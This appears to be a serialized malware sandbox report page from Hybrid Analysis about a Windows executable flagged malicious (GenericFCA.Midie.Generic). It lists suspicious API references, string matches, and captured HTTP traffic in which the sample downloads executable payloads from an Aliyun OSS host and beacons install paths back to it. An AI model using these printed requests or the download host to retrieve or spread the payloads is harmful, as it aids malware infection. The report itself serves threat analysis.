26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ed,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious GenericFCA.Midie.Generic Sample 7f6796ea93b5… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample 7f6796ea93b5…. Malware family: GenericFCA.Midie.Generic. Threat score 89/100. 10/27 AV engines flagged this file. 4 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b","keywords":["Malicious","GenericFCA.Midie.Generic","malware analysis","sandbox report","threat intelligence","7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b"],"about":{"@type":"SoftwareApplication","name":"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"GenericFCA.Midie.Generic","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tb92,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateThread@" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "#2RefreshCurrentProcessorId2ProcessorNumberSpeedCheck*UninlinedThreadStatic8CreateThreadLocalCountObject&AssignWorkItemQueue@" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "*UnassignWorkItemQueue$CreateThreadLocals@" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "VGetOrCreateThreadLocalCompletionCountObject" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "AddRefLCreateThreadLocalCompletionCountObject DispatchCallback" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "ClrVirtualFree" (Indicator: "VirtualFree"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "$CreateThreadpoolIo" (Indicator: "CreateThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "4g____PInvoke|8_0>g____PInvoke|9_0@g____PInvoke|11_0" (Indicator: "FreeMemory"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")28:T4a1,Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtOpenThreadToken" (Indicator: "OpenThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserOpenThreadDesktop" (Indicator: "OpenThread"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")29:Tdfa,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "8GetSystemSupportsLeapSeconds>GetGetSystemTimeAsFileTimeFnPtr" (Indicator: "GetSystemTimeAsFileTime"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "SetTimerg__AddEntry|10_0" (Indicator: "Oid"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to "$GetHashAlgorithmId" (Indicator: "HashAlgorithm"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to ""get_LegalKeySizes@" (Indicator: "KeySizes"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin"), Found reference to ""SaveCspParameters" (Indicator: "CspParameters"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to "(DecodeECDsaPublicKey@" (Indicator: "ECDsa"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to "b__9_0@" (Indicator: "ECDsa"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to "Nb__10_0@" (Indicator: "ECDiffieHellman"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to "Nb__10_0@" (Indicator: "ECDiffieHellmanPublicKey"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")2b:T7d2,"g__CompleteAsync|35_0" (Indicator: "getaddrinfo"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")34:T9f2,"g____PInvoke|22_0" (Indicator: "GetVersion"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")36:T73e," HTTP/1.1 200 OK Server: AliyunOSS Date: Sun 21 Jun 2026 08:22:35 GMT Content-Type: video/mp4 Content-Length: 337641 Connection: keep-alive x-oss-request-id: 6A379F4BAC88A1393506FACE Accept-Ranges: bytes ETag: "25F9A0378C2FBBD6798D3625EE7B413D" Last-Modified: Mon 15 Jun 2026 06:02:32 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 18089446920784373879 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: JfmgN4wvu9Z5jTYl7ntBPQ== x-oss-server-time: 1 with response body ==>48C281C3ACC38802000048C387C28424680100000000000048C387C28424000100000000000048C387C28424C2A00200000000000048C387C284246001000000....... "GET /zh//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tyjssss777.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Server: AliyunOSS Date: Sun 21 Jun 2026 08:22:57 GMT Content-Type: application/xml Content-Length: 377 Connection: keep-alive x-oss-request-id: 6A379F61F6401B3534294242 x-oss-server-time: 1 x-oss-ec: 0026-00000001 with response body ==>3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D38223F3E0A3C4572726F723E0A20203C436F64653E4E6F537563684B6579....... "GET /zh/zh.bin HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Sun 21 Jun 2026 08:24:24 GMT Content-Type: application/octet-stream Content-Length: 291561 Connection: keep-alive x-oss-request-id: 6A379FB8F6401B333077A342 Accept-Ranges: bytes ETag: "508604D1F27854D50ECA6F9F24DF2981" Last-Modified: Mon 15 Jun 2026 06:01:24 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12328373040099592965 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: UIYE0fJ4VNUOym+fJN8pgQ== x-oss-server-time: 2 with response body ==>48C281C3ACC38802000048C387C28424680100000000000048C387C28424000100000000000048C387C28424C2A00200000000000048C387C284246001000000....... "GET /zh/1.1x1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Sun 21 Jun 2026 08:24:33 GMT Content-Type: application/octet-stream Content-Length: 29056 Connection: keep-alive x-oss-request-id: 6A379FC1F6401B333001AD42 Accept-Ranges: bytes ETag: "83F216B7230B3ECDF7F6D003B1622FC7" Last-Modified: Mon 15 Jun 2026 06:01:24 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11568135190746291225 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: g/IWtyMLPs339tADsWIvxw== x-oss-server-time: 2 with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /zh/1.d00 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Sun 21 Jun 2026 08:24:41 GMT Content-Type: application/octet-stream Content-Length: 208896 Connection: keep-alive x-oss-request-id: 6A379FC9F6401B333043B642 Accept-Ranges: bytes ETag: "B56A36D2CAD259837C45392E9CCBF0FE" Last-Modified: Tue 16 Jun 2026 12:23:00 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9827703428915510114 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: tWo20srSWYN8RTkunMvw/g== x-oss-server-time: 2 with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /zh//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tyjssss777.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Server: AliyunOSS Date: Sun 21 Jun 2026 08:25:00 GMT Content-Type: application/xml Content-Length: 377 Connection: keep-alive x-oss-request-id: 6A379FDCF6401B3337CACB42 x-oss-server-time: 1 x-oss-ec: 0026-00000001 with response body ==>3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D38223F3E0A3C4572726F723E0A20203C436F64653E4E6F537563684B6579.......40:Te3f,"g____PInvoke|186_0" (Indicator: "WinHttpOpen"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00006600-00000C2B-3219774692") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00006600-00000C2B-3219927386") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00006600-00000C2B-3219927386") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00006600-00000C2B-3219927386") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00006600-00000C2B-3219960880") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00006600-00000C2B-3219960880") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00006600-00000C2B-3219993549")48:T955,Found reference to API "Cannot re-call BeginGetRequestStream/BeginGetResponse while a previous call is still in progress." (Indicator: "BeginGetRequestStream"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Cannot re-call BeginGetRequestStream/BeginGetResponse while a previous call is still in progress." (Indicator: "GetRequestStream"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "$WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "JWinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "*WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API ">g____PInvoke|186_0" (Indicator: "WinHttpOpen"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Lg____PInvoke|187_0" (Indicator: "WinHttpCloseHandle"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "rg____PInvoke|208_0" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Rg____PInvoke|209_0" (Indicator: "WinHttpGetProxyForUrl"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")49:T13ee,Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "An asynchronous socket operation is already in progress using this SocketAsyncEventArgs instance." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Cannot block a call on this socket while an earlier asynchronous call is in progress." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Failed to establish web socket connection over HTTP/2 because extended CONNECT is not supported. Try to downgrade the request version to HTTP/1.1." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Failed to establish web socket connection over HTTP/2 because extended CONNECT is not supported. Try to downgrade the request version to HTTP/1.1." (Indicator: " connect "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "None of the discovered or specified addresses match the socket address family." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Once the socket has been disconnected, you can only accept again asynchronously. BeginAccept must be called on a thread that won't exit until the operation has been completed." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Once the socket has been disconnected, you can only accept again asynchronously. BeginAccept must be called on a thread that won't exit until the operation has been completed." (Indicator: " accept "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Once the socket has been disconnected, you can only reconnect again asynchronously, and only to a different EndPoint. BeginConnect must be called on a thread that won't exit until the operation has been completed." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "SOCKS server failed to connect to the destination. Received error code 0x{0}." (Indicator: " connect "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "The request message was already sent. Cannot send the same request message multiple times." (Indicator: " send "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "The thread was created with a ThreadStart delegate that does not accept a parameter." (Indicator: " accept "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "Unable to connect to the remote server" (Indicator: " connect "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "You may not perform this operation after calling the Listen method." (Indicator: " listen "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "You must call the Bind method before performing this operation." (Indicator: " bind "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "You must call the Listen method before performing this operation." (Indicator: " listen "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "{0}: The socket must not be bound or connected." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "4GetHostnameFromStateObject" (Indicator: "gethostname"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "socket connection over HTTP/2 because extended CONNECT is not supported. Try to downgrade the request version to HTTP/1.1." (Indicator: " connect "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "dresses match the socket address family." (Indicator: " socket "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "ready sent. Cannot send the same request message multiple times." (Indicator: " send "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "adStart delegate that does not accept a parameter." (Indicator: " accept "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "o connect to the remote server" (Indicator: " connect "; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")4a:Te29,Pattern match: "https://socks4:/" Heuristic match: "system.ma" Heuristic match: "system.readonlyssystem.sz" Pattern match: "https://aka.ms/nativeaot-compatibility" Pattern match: "https://aka.ms/globalizationinvariantmode" Heuristic match: "dns.question.name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/denyonlyprimarygroupsid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/denyonlyprimarysid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/denyonlywindowsdevicegroup" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarygroupsid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsdeviceclaim" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsdevicegroup" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowssubauthority" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsuserclaim" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://www.w3.org/2001/xmlschema#boolean" Pattern match: "http://www.w3.org/2001/xmlschema#integer64" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://www.w3.org/2001/xmlschema#uinteger64" Pattern match: "https://aka.ms/dotnet-warnings/{0" Heuristic match: "tls.protocol.name" Heuristic match: "tyjssss777.oss-cn-hongkong.aliyuncs.com" Heuristic match: "get /zh/zh.bin http/1.1connection: keep-aliveuser-agent: mozilla/5.0host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Heuristic match: "get /zh/1.1x1 http/1.1connection: keep-aliveuser-agent: mozilla/5.0host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Heuristic match: "get /zh/1.d00 http/1.1connection: keep-aliveuser-agent: mozilla/5.0host: tyjssss777.oss-cn-hongkong.aliyuncs.com" Heuristic match: "system.gc.name" Pattern match: "birthpopuptypesapplyimagebeinguppernoteseveryshowsmeansextramatchtrackknownearlybegansuperpapernorthlearngivennamedendedtermspartsgroupbrandusingwomanfalsereadyaudiotakeswhile.com/livedcasesdailychildgreatjudgethoseunitsneverbroadcoastcoverapplefilescycles" Pattern match: "thing.org/multiheardpowerstandtokensolid" Pattern match: "genretrucklooksvalueframe.net/--" Pattern match: "tos.org/ladvisedpenaltysimple:if" Pattern match: "http://mathematicsmargin-top:eventually" Pattern match: "http://descriptionrelatively" Pattern match: "http://applicationslink" Pattern match: "http://navigation" Pattern match: "http://px" Pattern match: "www.world" Pattern match: "http://www.years" Pattern match: "http://interested" Pattern match: "http://familiar" Pattern match: "https://was" Pattern match: "http://whether" Pattern match: "http://interpreted" Pattern match: "http://addeventlistenerresponsible" Pattern match: "http://.jpg|right|thumb|.js" Pattern match: "http://html4/loose.dtd" Pattern match: "http://an" Pattern match: "w3.org/1999/xhtml" Pattern match: "http://www" Pattern match: "http://iparticipation" Pattern match: "http://www-//w3c//dtd" Heuristic match: "estion.name" Pattern match: "as.microsoft.com/ws/2008/06/identity/claims/windowsdevicegroup" Pattern match: "chemas.xmlsoap.org/ws/2005/05/identity/claims/name"4b:T61b,Found string "HTTP/1.1H;" (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "HTTP/1.0H;" (Indicator: "HTTP/1.0"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "Failed to establish web socket connection over HTTP/2 because extended CONNECT is not supported. Try to downgrade the request version to HTTP/1.1." (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "The HTTP/1.1 response chunk was too large." (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "The synchronous method is not supported by '{0}' for HTTP/2 or higher. Either use an asynchronous method or downgrade the request version to HTTP/1.1 or lower." (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "socket connection over HTTP/2 because extended CONNECT is not supported. Try to downgrade the request version to HTTP/1.1." (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found string "'{0}' for HTTP/2 or higher. Either use an asynchronous method or downgrade the request version to HTTP/1.1 or lower." (Indicator: "HTTP/1.1"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")4c:T50b,GET /zh/zh.mp4 HTTP/1.1 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive GET 